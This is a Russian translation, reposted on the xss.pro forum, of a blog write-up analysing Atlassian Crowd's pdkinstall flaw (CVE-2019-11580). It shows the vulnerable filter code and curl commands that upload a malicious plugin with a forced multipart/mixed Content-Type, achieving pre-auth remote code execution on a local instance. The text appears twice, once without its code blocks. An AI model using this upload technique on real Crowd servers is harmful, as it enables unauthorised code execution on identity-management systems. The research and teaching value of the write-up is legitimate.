Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно я наткнулся на приложение Atlassian Crowd, когда занимался изучением уязвимостей. Если вы не знакомы с Crowd, это централизованное приложение для управления идентификацией, которое позволяет компаниям «управлять пользователями из нескольких каталогов - Active Directory, LDAP, OpenLDAP или Microsoft Azure AD - и управлять разрешениями аутентификации приложений в одном месте».
Была установлена старая версия, поэтому я начал гуглить, чтобы узнать, есть ли какие - либо уязвимости, и я наткнулся на этот консультативный : «плагин pdkinstall(CVE-2019-11580)».
Описание Atlassian:
«Crowd и Crowd Data Center неправильно подключили плагин pdkinstall в своих сборках. Злоумышленники могут отправлять неаутентифицированные или прошедшие проверку подлинности запросы в экземпляр Crowd или Crowd Data Center и могут использовать эту уязвимость для установки произвольных подключаемых модулей, что позволяет удаленно выполнять код в системах с уязвимой версией Crowd или Crowd Data Center ».
Проведя поиск, я не смог найти никаких доказательств концепции уязвимости, поэтому решил проанализировать ее и попытаться ее создать.
Анализ:
Я начал с клонирования исходного кода плагина, который можно найти здесь .
Мы можем найти файл plugin descriptor по пути ./main/resources/atlassian-plugin.xml . Каждому плагину нужен файл plugin descriptor , который просто содержит XML, который «описывает плагин и содержащиеся в нем модули для хост-приложения» - Atlassian .
Давайте посмотрим на это:
Мы можем видеть, что класс Java com.atlassian.pdkinstall.PdkInstallFilter вызывается путем посещения /admin/uploadplugin.action . Поскольку мы знаем, что уязвимость заключается в RCE через произвольную установку плагинов, ясно, что мы должны начать с просмотра исходного кода PdkInstallFilter .
Давайте импортируем pdkinstall-plugin в IntelliJ, чтобы мы могли начать изучение исходного кода. Мы собираемся начать с метода doFilter() .
Мы видим здесь , что если метод запроса не POST, то он будет выдавать ошибку:
Затем он определяет, содержит ли запрос многокомпонентный контент. Составной контент - это однин массив, который содержит один или несколько различных наборов данных, которые объединяются. Если он содержит многокомпонентное содержимое, он вызовет метод extractJar() для извлечения jar-файла, отправленного в запросе, в противном случае он вызовет метод buildJarFromFiles () и попытается создать файл jar плагина из данных в запросе.
Теперь давайте переключим наше внимание на метод extractJar () .
Сначала он создает новый объект ServletFileUpload , а затем вызывает метод parseRequest () для анализа HTTP-запроса. Этот метод обрабатывает поток multipart / form-data из HTTP-запроса и устанавливает список FileItems для переменной, называемой items .
Для каждого item (в списке FileItems), если имя поля начинается с file_ и не является полем формы ( полем HTML), он создает и записывает загружаемый файл во временный файл на диске. Если это не удастся, переменная tmp будет нулевой; в случае успеха переменная tmp будет содержать путь к файлу, который был записан. Затем всё возвращается обратно в метод doFilter () .
Если extractJar () завершится успешно, то переменная tmp будет установлена и будет не равна нулю. Приложение попытается установить плагин с помощью method pluginInstaller.install () и обнаружит любые ошибки в процессе. Если ошибок нет, то сервер отвечает 200 OK и сообщением, что плагин был успешно установлен. В противном случае сервер ответит «400 Bad Request» и сообщением «Unable to install plugin» вместе с ошибками, которые привели к сбою установки.
Тем не менее, если первоначальный method extractJar () завершится неудачно, переменная tmp будет иметь значение null, и сервер ответит «400 Bad Request» вместе с сообщением «Missing plugin file».
Теперь, когда мы знаем конечную точку и ожидаемый запрос, давайте попробуем использовать его!
✗ Попытка № 1
Давайте создадим экземпляр, используя Atlassian SDK.
Теперь давайте удостоверимся, что мы можем вызвать плагин pdkinstall, посетив: http://localhost:4990/crowd/admin/uploadplugin.action .
Сервер должен ответить - 400:
Попробуем загрузить стандартный плагин, используя имеющиеся у нас знания. Я решил попробовать это с помощью applinks-plugin из atlassian-bundled-plugins. Вы можете получить скомпилированный файл JAR отсюда .
Вот что мы знаем: сервлет требует POST-запрос, содержащий многокомпонентные данные, который содержит файл, который начинается с имени file_ . Мы можем сделать это легко с помощью флага --form cURL
Как видно из результата, он успешно установил плагин; поэтому мы должны иметь возможность создавать и устанавливать наш собственный плагин, верно?
Я создал вредоносный плагин, который можно найти здесь
Итак, давайте скомпилируем его и попытаемся загрузить.
Мы видим, что это не удается, и сервер выдает 400 Bad Request, и ответ содержит сообщение об ошибке «Missing plugin file» . Ранее мы знали, что если tmp равен нулю, сервер отвечает точным сообщением и кодом состояния, но что вызывает это? Давайте прикрепим отладчик.
Отладка
Я импортировал plugin pdkinstall в IntelliJ, подключил отладчик к экземпляру Crowd и открыл сервлет PdkInstallFilter.java, который, как мы знаем, обрабатывает загрузки.
Моим первым предположением было то, что метод ServletFileUpload.isMultipartContent (req) не удался , поэтому я установил там точку останова. Затем я снова попытался загрузить свой вредоносный плагин, однако мы видим, что он работает как обычно, и сервер видит его как составной контент:
Так что тогда это должен быть extractJar (), который не работает. Давайте отладим этот метод и установим “breakpoints” построчно, чтобы мы могли выяснить, где он ломается. После установки “breakpoints” я попробовал еще раз:
Мы видим, что метод upload.parseRequest (req) возвращает пустой массив. Поскольку переменная items пуста, она пропускает цикл for и возвращает tmp, для которого установлено значение null.
Я потратил много времени, пытаясь выяснить, почему это происходит, и я точно не знаю причину этого, но все, что меня беспокоило - это получение RCE.
Что бы произошло, если бы я изменил Content-Type с multipart / form-data на другую многочастную кодировку? Давай попробуем.
✗ Попытка № 2
На этот раз я решил попробовать загрузить свой вредоносный плагин с Content-Type multipart / mixed . Может быть, это сработает?
Он ответил сообщением, что плагин был установлен:
Давайте посмотрим, сможем ли мы действительно запустить вредоносный плагин:
Теперь у нас есть предварительное удаленное выполнение кода на Atlassian Crowd!
Outro:
Все время, которое я потратил на анализ этого CVE, окупилось!
Вот большой вывод из этого:
● Не бойтесь пробовать!
Я не очень хорошо знаю Java, у меня нет опыта отладки, но это не помешало мне попробовать. Пробуйте, проводите исследования и сражайтесь - это огромная часть учебного процесса!
Я надеюсь, что этот пост был интересным и что вам понравилось его читать!
Счастливых взломов
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://www.corben.io/atlassian-crowd-rce/
Была установлена старая версия, поэтому я начал гуглить, чтобы узнать, есть ли какие - либо уязвимости, и я наткнулся на этот консультативный : «плагин pdkinstall(CVE-2019-11580)».
Описание Atlassian:
«Crowd и Crowd Data Center неправильно подключили плагин pdkinstall в своих сборках. Злоумышленники могут отправлять неаутентифицированные или прошедшие проверку подлинности запросы в экземпляр Crowd или Crowd Data Center и могут использовать эту уязвимость для установки произвольных подключаемых модулей, что позволяет удаленно выполнять код в системах с уязвимой версией Crowd или Crowd Data Center ».
Проведя поиск, я не смог найти никаких доказательств концепции уязвимости, поэтому решил проанализировать ее и попытаться ее создать.
Анализ:
Я начал с клонирования исходного кода плагина, который можно найти здесь .
Код:
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.
Мы можем найти файл plugin descriptor по пути ./main/resources/atlassian-plugin.xml . Каждому плагину нужен файл plugin descriptor , который просто содержит XML, который «описывает плагин и содержащиеся в нем модули для хост-приложения» - Atlassian .
Давайте посмотрим на это:
Код:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
Мы можем видеть, что класс Java com.atlassian.pdkinstall.PdkInstallFilter вызывается путем посещения /admin/uploadplugin.action . Поскольку мы знаем, что уязвимость заключается в RCE через произвольную установку плагинов, ясно, что мы должны начать с просмотра исходного кода PdkInstallFilter .
Давайте импортируем pdkinstall-plugin в IntelliJ, чтобы мы могли начать изучение исходного кода. Мы собираемся начать с метода doFilter() .
Мы видим здесь , что если метод запроса не POST, то он будет выдавать ошибку:
Код:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
Затем он определяет, содержит ли запрос многокомпонентный контент. Составной контент - это однин массив, который содержит один или несколько различных наборов данных, которые объединяются. Если он содержит многокомпонентное содержимое, он вызовет метод extractJar() для извлечения jar-файла, отправленного в запросе, в противном случае он вызовет метод buildJarFromFiles () и попытается создать файл jar плагина из данных в запросе.
Код:
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
tmp = extractJar(req, res, tmp);
}
else
{
tmp = buildJarFromFiles(req);
}
Теперь давайте переключим наше внимание на метод extractJar () .
Код:
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
Сначала он создает новый объект ServletFileUpload , а затем вызывает метод parseRequest () для анализа HTTP-запроса. Этот метод обрабатывает поток multipart / form-data из HTTP-запроса и устанавливает список FileItems для переменной, называемой items .
Для каждого item (в списке FileItems), если имя поля начинается с file_ и не является полем формы ( полем HTML), он создает и записывает загружаемый файл во временный файл на диске. Если это не удастся, переменная tmp будет нулевой; в случае успеха переменная tmp будет содержать путь к файлу, который был записан. Затем всё возвращается обратно в метод doFilter () .
Код:
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
Если extractJar () завершится успешно, то переменная tmp будет установлена и будет не равна нулю. Приложение попытается установить плагин с помощью method pluginInstaller.install () и обнаружит любые ошибки в процессе. Если ошибок нет, то сервер отвечает 200 OK и сообщением, что плагин был успешно установлен. В противном случае сервер ответит «400 Bad Request» и сообщением «Unable to install plugin» вместе с ошибками, которые привели к сбою установки.
Тем не менее, если первоначальный method extractJar () завершится неудачно, переменная tmp будет иметь значение null, и сервер ответит «400 Bad Request» вместе с сообщением «Missing plugin file».
Теперь, когда мы знаем конечную точку и ожидаемый запрос, давайте попробуем использовать его!
✗ Попытка № 1
Давайте создадим экземпляр, используя Atlassian SDK.
Теперь давайте удостоверимся, что мы можем вызвать плагин pdkinstall, посетив: http://localhost:4990/crowd/admin/uploadplugin.action .
Сервер должен ответить - 400:
Попробуем загрузить стандартный плагин, используя имеющиеся у нас знания. Я решил попробовать это с помощью applinks-plugin из atlassian-bundled-plugins. Вы можете получить скомпилированный файл JAR отсюда .
Вот что мы знаем: сервлет требует POST-запрос, содержащий многокомпонентные данные, который содержит файл, который начинается с имени file_ . Мы можем сделать это легко с помощью флага --form cURL
Код:
root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v
Как видно из результата, он успешно установил плагин; поэтому мы должны иметь возможность создавать и устанавливать наш собственный плагин, верно?
Я создал вредоносный плагин, который можно найти здесь
Итак, давайте скомпилируем его и попытаемся загрузить.
Код:
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v
Мы видим, что это не удается, и сервер выдает 400 Bad Request, и ответ содержит сообщение об ошибке «Missing plugin file» . Ранее мы знали, что если tmp равен нулю, сервер отвечает точным сообщением и кодом состояния, но что вызывает это? Давайте прикрепим отладчик.
Отладка
Я импортировал plugin pdkinstall в IntelliJ, подключил отладчик к экземпляру Crowd и открыл сервлет PdkInstallFilter.java, который, как мы знаем, обрабатывает загрузки.
Моим первым предположением было то, что метод ServletFileUpload.isMultipartContent (req) не удался , поэтому я установил там точку останова. Затем я снова попытался загрузить свой вредоносный плагин, однако мы видим, что он работает как обычно, и сервер видит его как составной контент:
Так что тогда это должен быть extractJar (), который не работает. Давайте отладим этот метод и установим “breakpoints” построчно, чтобы мы могли выяснить, где он ломается. После установки “breakpoints” я попробовал еще раз:
Мы видим, что метод upload.parseRequest (req) возвращает пустой массив. Поскольку переменная items пуста, она пропускает цикл for и возвращает tmp, для которого установлено значение null.
Я потратил много времени, пытаясь выяснить, почему это происходит, и я точно не знаю причину этого, но все, что меня беспокоило - это получение RCE.
Что бы произошло, если бы я изменил Content-Type с multipart / form-data на другую многочастную кодировку? Давай попробуем.
✗ Попытка № 2
На этот раз я решил попробовать загрузить свой вредоносный плагин с Content-Type multipart / mixed . Может быть, это сработает?
Код:
curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action
Он ответил сообщением, что плагин был установлен:
Давайте посмотрим, сможем ли мы действительно запустить вредоносный плагин:
Теперь у нас есть предварительное удаленное выполнение кода на Atlassian Crowd!
Outro:
Все время, которое я потратил на анализ этого CVE, окупилось!
Вот большой вывод из этого:
● Не бойтесь пробовать!
Я не очень хорошо знаю Java, у меня нет опыта отладки, но это не помешало мне попробовать. Пробуйте, проводите исследования и сражайтесь - это огромная часть учебного процесса!
Я надеюсь, что этот пост был интересным и что вам понравилось его читать!
Счастливых взломов
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://www.corben.io/atlassian-crowd-rce/